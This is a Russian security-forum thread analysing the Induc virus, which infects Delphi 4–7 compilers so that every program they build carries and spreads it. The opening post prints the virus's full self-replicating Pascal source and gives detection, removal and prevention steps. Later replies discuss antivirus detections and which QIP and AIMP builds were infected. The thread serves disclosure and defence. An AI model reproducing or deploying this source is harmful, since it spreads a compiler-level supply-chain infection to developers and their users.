Delphi-вирус - Общий форум по информационной безопасности - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

Umnik

Запускаю с утра Миранду, она обнаруживает обновление плагина vkontakte. В чейнджлоге всего один фикс:

Version 0.3.0.5

- новая версия, избавленная от Delphi-вируса (http://gunsmoker.blogspot.com/2009/08/delphi-delphi.html)

Вот копи-паст с указанного адреса:

Delphi-”вирус”: проверьте свою установленную Delphi!

Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как ”вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в ”поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.

Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):

Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

  1. Удалите SysConst.dcu
  2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!

Как это началось

Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.

Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными ”настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

Что это такое

Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:

uses windows;var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(','function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]','=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;','h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin','h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle','(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile','(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while','not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0','then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,','x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.','wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,','f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),','pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,','0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=','CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,','@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of','char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(','HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then','begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=','1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+','$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;','begin st; end.');function x(s:string):string;var   i:integer;begin   for i:=1 to length(s) do     if s[i]=#36 then s[i]:=#39;  result:=s;end;procedure re(s,d,e:string);var  f1,f2:textfile;  h:cardinal;  f:STARTUPINFO;  p:PROCESS_INFORMATION;  b:boolean;  t1,t2,t3:FILETIME;begin  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  if h<>DWORD(-1) then  begin    CloseHandle(h);    exit;  end;  {'I-}assignfile(f1,s);  reset(f1);  if ioresult<>0 then    exit;  assignfile(f2,d+'pas');  rewrite(f2);  if ioresult<>0 then   begin     closefile(f1);     exit;   end;  while not eof(f1) do  begin    readln(f1,s);    writeln(f2,s);    if pos('implementation',s)<>0 then      break;  end;  for h:= 1 to 1 do    writeln(f2,sc[h]);  for h:= 1 to 23 do    writeln(f2,''''+sc[h],''',');  writeln(f2,''''+sc[24]+''');');  for h:= 2 to 24 do    writeln(f2,x(sc[h]));  closefile(f1);  closefile(f2);  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));  fillchar(f,sizeof(f),0);  f.cb := sizeof(f);  f.dwFlags := STARTF_USESHOWWINDOW;  f.wShowWindow := SW_HIDE;  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);  if b then    WaitForSingleObject(p.hProcess,INFINITE);  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));  DeleteFile(pchar(d+'pas'));  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  if h=DWORD(-1) then    exit;  GetFileTime(h,@t1,@t2,@t3);  CloseHandle(h);  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);  if h=DWORD(-1) then    exit;  SetFileTime(h,@t1,@t2,@t3);  CloseHandle(h);end;procedure st;var    k:HKEY;  c:array [1..255] of char;  i:cardinal;  r:string;  v:char;begin  for v:='4' to '7' do    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then    begin      i:=255;      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then      begin        r:='';        i:=1;        while c[i]<>#0 do        begin          r:=r+c[i];          inc(i);        end;        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');      end;    RegCloseKey(k);  end;end;begin  st;end.

Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.

Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.

Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:

  {'I-}assignfile(f1,s);  reset(f1); // <- возбуждается исключение, если в s записан неверный путь

При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.

Насколько это серьёзно

Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.

Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная ”досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.

Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

Кто виноват и что делать

В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие ”высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).

Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):

  • Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
  • Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
  • Работать в системе ”как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

Ну, лично мне все эти проблемы по барабану, т.к. я:

  • Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
  • Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
  • Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи :)

Примечания:

(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку ”closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.

-----------------------------------

Вот еще ссылка на Хабр: http://habrahabr.ru/blogs/virus/66937/

  • Upvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
OlegSych

Это пяць! Проникся!

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
av killer

Код отправили к примеру в Авиру? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexxSun

Неужели сбылось наконец-то? :D

Прямо сегодня после обновления баз на KIS 7.0.1.325 детектируем в QIP версии 8094 Virus.Win32.Induc.a

Жалко, если это сочтут за фолс и уберут детект, было бы хорошим уроком создателям QIPa чтобы впредь не пихали всякую дрянь в свои инсталляторы :)

http://www.virustotal.com/ru/analisis/3a99...f2cc-1250351440

Похоже, что не фолс, пояснения тут : http://habrahabr.ru/blogs/virus/66937/

http://forum.qip.ru/showthread.php?p=314885

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker

http://kltest.org.ru/viewtopic.php?f=19&am...87237e0d#p12745

КИС ругается на квип, находит "индюка", Virus.Win32.Induc.a

Но он ругается и на один из активаторов для Windows 7, с таким же вердиктом. Это странно, может это фолс или "индюк" - туфта?

Аналитики, откуда взялся "индюк"? По-моему нужно проверить семплы зараженных файлов и разобраться что попало в базы.

На viruslist такой зловред не значится.

  • Downvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
КИС ругается на квип, находит "индюка", Virus.Win32.Induc.a

И что? Отправьте с вердиктом False alarm и ждите ответа.

Но он ругается и на один из активаторов для Windows 7, с таким же вердиктом.

И что, в одном из "активаторов" Windows 7 не может быть вредоноса? Все активаторы поддерживаются MS?

На viruslist такой зловред не значится.

И что? Если вредонос в библиотеке не описан, то это подозрительно? Посчитайте, сколько нужно сейчас техписателей, чтобы описать каждый вредонос.

Да, были люди в наше время,

Не то, что нынешнее племя.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
И что? Если вредонос в библиотеке не описан, то это подозрительно? Посчитайте, сколько нужно сейчас техписателей, чтобы описать каждый вредонос.

Когда запись о вредоносе есть, но описания нет - так бывает. А вредонос induc.a вообще не находится по базе viruslist, впервые сталкиваюсь с таким случаем.

Предлагаю обойтись без пространных фраз о нынешнем племени, а разобраться что это за зловред. К сожалению, известны случаи ошибок в антивирусных базах.

  • Upvote 10

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
А вредонос induc.a вообще не находится по базе viruslist, впервые сталкиваюсь с таким случаем.

И чо? О чём это лично вам говорит? Если нет описания, то нет и вредоноса?

К сожалению, известны случаи ошибок в антивирусных базах.

Известны, и немало. Когда Вы сообщили о ложном срабатывании?

Может быть, не знаете, куда писать? Адрес, куда писать, находится в 2 клика. Только мало кто знает, что в теме лучше False Alarm писать ;)

Или скажут, что мы уже знаем этого вредоноса, и он будет добавлен в базы при следующем обновлении :))

Касперский - точно такой же антивирус, как и другие. Точно такие же схемы взаимодействия (надеюсь), что и с другими вирлабами.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
akoK
Известны, и немало. Когда Вы сообщили о ложном срабатывании?

Это не ложное срабатываение. :)

http://habrahabr.ru/blogs/virus/66937/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
Это не ложное срабатываение. smile.gif

Значит, всё хорошо. Miranda IM forever. И описания на viruslist ни при чём снова. Можно спать спокойно, чего и всем желаю :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
И чо? О чём это лично вам говорит? Если нет описания, то нет и вредоноса?

Вы опять про описание. Нет даже названия такого вредоноса на вируслисте. Даже для несуществующих вирусов, ошибочно записанных аналитиками в базу, названия на вируслисте были.

Но может это и в самом деле вирус, нужно разбираться.

Но сейчас не нужно злорадствовать по поводу того, что ЛК задетектила QiP Infium как "индюка" за его зловредные функции. Детектируется не сам квип, а вирус, который заразил Дельфи, установленный у разрабов Квипа.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

Главное, он указан здесь.

Yen-Jasker

Надеюсь, "разбирательств" больше не будет

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

http://www.securelist.com/ru/find?words=na...amp;searchtype=

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Юрий Паршин

Детект квипа 8094 - не фолса. Он действительно заражен.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

Главное, он указан здесь.

Yen-Jasker

Надеюсь, "разбирательств" больше не будет

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

http://www.securelist.com/ru/find?words=na...amp;searchtype=

По первой ссылке указан induc.a, а по третьей какой-то NanoDesu, это один и тот же вирус?

Детект квипа 8094 - не фолса. Он действительно заражен.

Спасибо.

Вот и разобрались, чтобы не путать две разные проблемы.

Неужели сбылось наконец-то? :D

Прямо сегодня после обновления баз на KIS 7.0.1.325 детектируем в QIP версии 8094 Virus.Win32.Induc.a

Жалко, если это сочтут за фолс и уберут детект, было бы хорошим уроком создателям QIPa чтобы впредь не пихали всякую дрянь в свои инсталляторы :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik
По первой ссылке указан induc.a, а по третьей какой-то NanoDesu, это один и тот же вирус?

Видимо, я слишиком сжато пояснил, практически не пояснил.

Вредонос указан в вирусвоче, этого достаточно. В вируслисте нет очень многих вредоносов, это я показал на примере nanodesu, первое, что вспомнил из непопулярного.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Dr.Golova

Однако... Казалось бы что этот вирус не жилец и чистый концептуал - только дэльфи и только если есть сорцы... Но оказывается, что на этой мертвой платформе не только полно "разработчиков", но они еще и запускают все без разбора на сборочных машинах, и потом выкладывают эти поделки всем желающим. И пипл это хавает! Трижды КУ.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

Теоритическая выкладка:

1. Появляется подобный зверек для С++/С/С#/не_важно из Студии

2. Заражает С++ в какой-нибудь антивирусной компании

3. Антивирус заражает своих пользователей программистов

Возможно? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

История Индюка от Лаборатории Касперского.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
priv8v
2. Заражает С++ в какой-нибудь антивирусной компании

Будем надеятся, что в АВ-компаниях на сборочных компах не запускают всякую ересь :)

А может кто-нибудь выложить какой-нибудь hello_world, скомпилированный в делфи, зараженной этим вирусом?..

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001

Популярность QIP-семейства и ему подобных в большей степени способствовала распространению "индюка".

Сейчас очень редко не встретишь на ПК пользователей одну их его версий.

Его нет только у тех, у кого пока нет интернет-доступа, равнозначно у них нет и "индючьего" следа.

На днях на ПК клиентов стала проявляться ещё одна хрень, у неё пока нет антивирусного детекта и т.б. названия, но симптомы у всех аналогичны. Главным образом ей подвержены компьютеры "вконтактёров", "одноклассников" и "моймирщиков".

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
K_Mikhail
На днях на ПК появилась ещё одна хрень, у неё пока нет антивирусного детекта и т.б. названия, но симптомы у всех аналогичны. Главным образом ей подвержены компьютеры "вконтактёров", "одноклассников" и "моймирщиков".

Пощупать можно?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001
Пощупать можно?

Работаем над этим, пока только симптомы. Если будет семпл, поделюсь непременно.

Симптомы пока до конца не определены: неотключение соединения, подвисание при установленных и работающих антивирусах. При этом чистые процессы, автозагрузка, службы, Проводник и браузеры.

При чём ранее зачастую был неконтролируемый разрыв соединения (т.н. z-, x-, i-connect), а сейчас наоборот – соединение не разрывается со значка в трее или на РС, и при этом окно "Состояние" только мигнёт, но не выходит.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik
Его нет только у тех, у кого пока нет интернет-доступа, равнозначно у них нет и "индючьего" следа.

Не только QIP был заражен, но многие другие программы.

Третий момент — пораженные им приложения. Вирус существовал на компьютерах разработчиков программных продуктов, среди которых оказались весьма популярные и использующиеся большим количеством людей. Так, например, были обнаружены некоторые версии медиа-плеера AIMP и популярного инстант-мессенджера QIP, содержащие в себе данный вирус. Вирус был обнаружен в приложениях по всему миру, в том числе и на крупнейших сайтах с софтом, на дисках с программами, выпускаемых различными журналами и т.д.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
TANUKI

Капец! У моей девушки стоит АИМП и КИП (старая версия). По каким папкам лазить что бы провериться на заражение? :(

У меня ничего из дельфийского вроде нет.

Пользуюсь официальной аськой или крысой. Плеера не имею. Или что-то еще есть из массового, что может стоять?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

Нет Дельфи - нет заражения.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 19.0.14.
    • PR55.RP55
      Microsoft ускоряет Проводник в Windows 11 с помощью предзагрузки https://www.comss.ru/page.php?id=18618
    • AM_Bot
      Вендор Crosstech Solutions Group выпустил решение для защиты контейнерной инфраструктуры Crosstech Container Security (CTCS). Оно обеспечивает безопасность контейнерных сред: от сканирования образов до контроля запуска рабочих нагрузок и реагирования на инциденты в средах выполнения.      ВведениеФункциональные возможности Crosstech Container Security2.1. Анализ и контроль безопасности образов2.2. Контроль запуска контейнеров2.3. Безопасность в средах выполнения (Runtime Security)2.4. Безопасность окружения2.5. Внешние интеграцииАрхитектура Crosstech Container Security3.1. Основные компоненты Crosstech Container SecurityСистемные требования и лицензирование Crosstech Container Security4.1. Лицензирование4.2. Требования к аппаратной части4.3. Требования к программной части4.4. Процесс установкиСценарии использования5.1. Сценарий №1. Сканирование образов5.2. Сценарий №2. Политики безопасности образов контейнеров5.3. Сценарий №3. Контроль запуска контейнеров5.4. Сценарий №4. Мониторинг безопасности сред выполненияВыводыВведениеРоссийский рынок контейнерных разработок постоянно растёт. В 2024 году затраты на ПО для контейнеризации достигли 3 млрд рублей — это на 66 % больше, чем в 2023. Контейнерные технологии ускоряют процессы разработки, экономят ресурсы компаний, поэтому их всё чаще внедряют в свою работу ИТ-департаменты.Вместе с ростом масштабов контейнеризации увеличивается и поверхность атак: уязвимости в образах, ошибки конфигураций, несанкционированные действия внутри контейнеров. Crosstech Container Security помогает компаниям выстраивать комплексную систему защиты контейнерной инфраструктуры.Функциональные возможности Crosstech Container SecurityCrosstech Container Security объединяет функции анализа, мониторинга и управления безопасностью контейнерных сред. Решение охватывает весь жизненный цикл контейнера — от момента его создания до удаления. Продукт помогает DevSecOps-командам выявлять уязвимости, проверять конфигурации, контролировать сетевую активность и реагировать на инциденты в режиме реального времени.Анализ и контроль безопасности образовCrosstech Container Security интегрируется с реестрами хранения образов и позволяет проводить их сканирование как в ручном режиме, так и по расписанию. В результате анализа система обнаруживает дефекты в образах: уязвимости, неправильные конфигурации, секреты, а также фиксирует используемые в образах OSS-лицензии для пакетов и библиотек. По каждому найденному дефекту предоставляется детальная информация.CTCS поддерживает экспорт SBOM в форматах SPDX и CycloneDx, что упрощает аудит и обмен данными с другими решениями. Интерфейс продукта предоставляет визуализацию образов с маппингом (сопоставлением данных) на дефекты безопасности. CTCS также осуществляет дискаверинг (обнаружение) образов, располагающихся в защищаемых кластерах и на standalone-хостах.Для автоматизации контроля доступны настраиваемые политики безопасности образов, разделяемые по критериям:наличие уязвимостей в образах контейнеров выше заданной оценки критичности;наличие уязвимостей в образах контейнеров согласно заданным идентификаторам;обнаружение root в Dockerfile;возможность указания перечня образов, на которые будет распространяться созданная политика безопасности образов.При нарушении хотя бы одного из критериев политики администратор получает уведомление в интерфейсе CTCS и может оперативно принять меры: заблокировать образ, исключить его из деплоя или добавить в список исключений с указанием причины. Такой подход обеспечивает прозрачность процессов и повышает уровень доверия к среде разработки и эксплуатации.Контроль запуска контейнеровРешение обеспечивает контроль запуска контейнеров как в средах Kubernetes, так и на отдельных standalone-хостах в соответствии с заданными политиками безопасности. Это позволяет предотвращать запуск рабочих нагрузок, не соответствующих требованиям безопасности компании, ещё на этапе их инициализации.В зависимости от настроек администратор может выбрать режим реагирования: блокирование или оповещение о нарушении политики безопасности. Информация обо всех срабатываниях отображается в интерфейсе системы, обеспечивая прозрачность и возможность оперативного реагирования.Политики безопасности включают следующие критерии:попытка запуска контейнеров на базе образов, не соответствующих политикам безопасности;попытка запуска контейнеров из-под пользователя root;попытка запуска контейнеров с повышенными привилегиями ядра Linux;контроль запуска контейнеров на базе образов, не прошедших сканирование CTCS.Дополнительно решение поддерживает интеграцию с OPA Gatekeeper и имеет возможность создания и импорта политик через интерфейс CTCS.Безопасность в средах выполнения (Runtime Security)CTCS использует возможности инструмента Tetragon для создания и применения кастомных политик безопасности, позволяющих контролировать сетевые взаимодействия внутри контейнеров. Администраторы могут выбрать набор кластеров для распространения политик, что обеспечивает гибкость при внедрении требований безопасности.Вся информация о срабатываниях политик фиксируется в интерфейсе CTCS, предоставляя специалистам по информационной безопасности прозрачную картину активности в средах выполнения и возможность оперативного реагирования на инциденты.Безопасность окруженияРешение выполняет сканирование кластеров на соответствие стандартам конфигурирования CIS Kubernetes Benchmarks. Аналогично система проводит проверку standalone-хостов на соответствие CIS Docker Benchmarks. Дополнительно CTCS поддерживает сканирование конфигурационных файлов, расположенных в директориях нод кластеров, выполняя роль сканера на основе IaC (Infrastructure as Code, управление инфраструктурой через использование кода).Внешние интеграцииРешение поддерживает интеграцию с реестрами хранения образов, что обеспечивает доступ к актуальным данным для анализа и контроля безопасности контейнеров. Также CTCS поддерживает передачу журналов событий в системы сбора по протоколу Syslog для их централизованного хранения и обработки.Доступна интеграция с системой идентификации, управления доступом Keycloak с поддержкой OAuth и доменными службами каталогов. Это позволяет пользователям авторизовываться в интерфейсе системы через доменные учётные записи. Рисунок 1. Планы по развитию Crosstech Container Security Архитектура Crosstech Container SecurityАрхитектура CTCS реализована в формате однонаправленных соединений со стороны ядра системы в сторону агентов защиты (протокол TCP/IP), располагающихся в защищаемых кластерах. Такой подход позволяет использовать инстанс ядра в единственном экземпляре для инфраструктур, сегментированных по уровням доверия. Рисунок 2. Логическая архитектура Crosstech Container Security Основные компоненты Crosstech Container SecurityCTCS состоит из 3 основных компонентов:CTCS Core — группа микросервисов, отвечающая за управление системой: хранение данных, настроек, создание политик безопасности, бизнес-логика продукта, а также взаимодействие со смежными системами.CTCS Agent-Manager: модуль агент-менеджера реализован в формате оператора Kubernetes с целью контроля за установкой и изменениями кастомных ресурсов (custom resource definition, CRD), а также управления и передачи информации агент-воркерам, устанавливаемым на каждую защищаемую ноду в формате DaemonSet.CTCS Scanner — модуль, сканирующий образы контейнеров на уязвимости, неправильные конфигурации, конфиденциальные данные, информацию по OSS-лицензиям для пакетов и библиотек из состава образа, а также сканирующий кластеры на соответствие стандартам конфигурирования.Системные требования и лицензирование Crosstech Container SecurityПеред выбором модели лицензирования заказчикам рекомендуется оценить масштаб защищаемой инфраструктуры и нагрузку на кластеры. Crosstech Container Security предусматривает гибкий подход: ядро и агенты могут разворачиваться в разных сегментах сети, включая тестовые и продуктивные среды. Такой принцип позволяет оптимально распределять ресурсы и лицензии, избегая избыточных затрат.ЛицензированиеCTCS лицензируется по количеству защищаемых нод, на которые распространяются агенты защиты.В продукте реализовано гибкое лицензирование, которое позволяет заказчикам самостоятельно выбирать перечень защищаемых объектов. При достижении лимита по количеству лицензий, предусмотренных договором, администратор может отключить часть текущих объектов защиты и переназначить лицензии на новые кластеры и ноды. Рисунок 3. Включение/выключение агентов защиты Рисунок 4. Лицензии CTCS На странице лицензирования доступна подробная информация о параметрах действующей лицензии. Пользователь видит:количество оставшихся дней действия лицензии;количество нод, предусмотренных лицензией;актуальные данные о числе используемых нод в рамках лицензии;сведения о типе лицензии;информация о поставщике;информация о владельце лицензии.Рисунок 5. Страница «Лицензирование» Требования к аппаратной частиКластер, на котором производится установка CTCS, должен соответствовать минимальным характеристикам, приведённым ниже. Для определения значений millicpu (единицы времени процессора, эквивалентной тысячной части работы, которую может выполнить одно ядро CPU) рекомендуется воспользоваться документацией Kubernetes.Кластер, на который будет установлен 